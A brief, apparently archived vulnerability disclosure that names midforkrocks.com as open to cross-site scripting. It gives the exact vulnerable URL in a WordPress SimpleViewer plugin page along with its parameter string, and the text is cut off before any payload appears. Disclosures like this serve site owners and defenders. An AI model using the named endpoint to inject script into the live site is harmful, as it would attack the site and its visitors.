midforkrocks.com XSS vulnerability

Vulnerable URL: http://midforkrocks.com/wp-content/plugins/wp-simpleviewer/svcore/full.html?bg="222222=http://midforkrocks.com/wp-content/plugins/wp-simpleviewer/config.php?galleryid=8=http://midforkrocks.com/post/category/si/=true=true=false=true=true=true=fff=fff=true=-1=Mount Si 444 fire...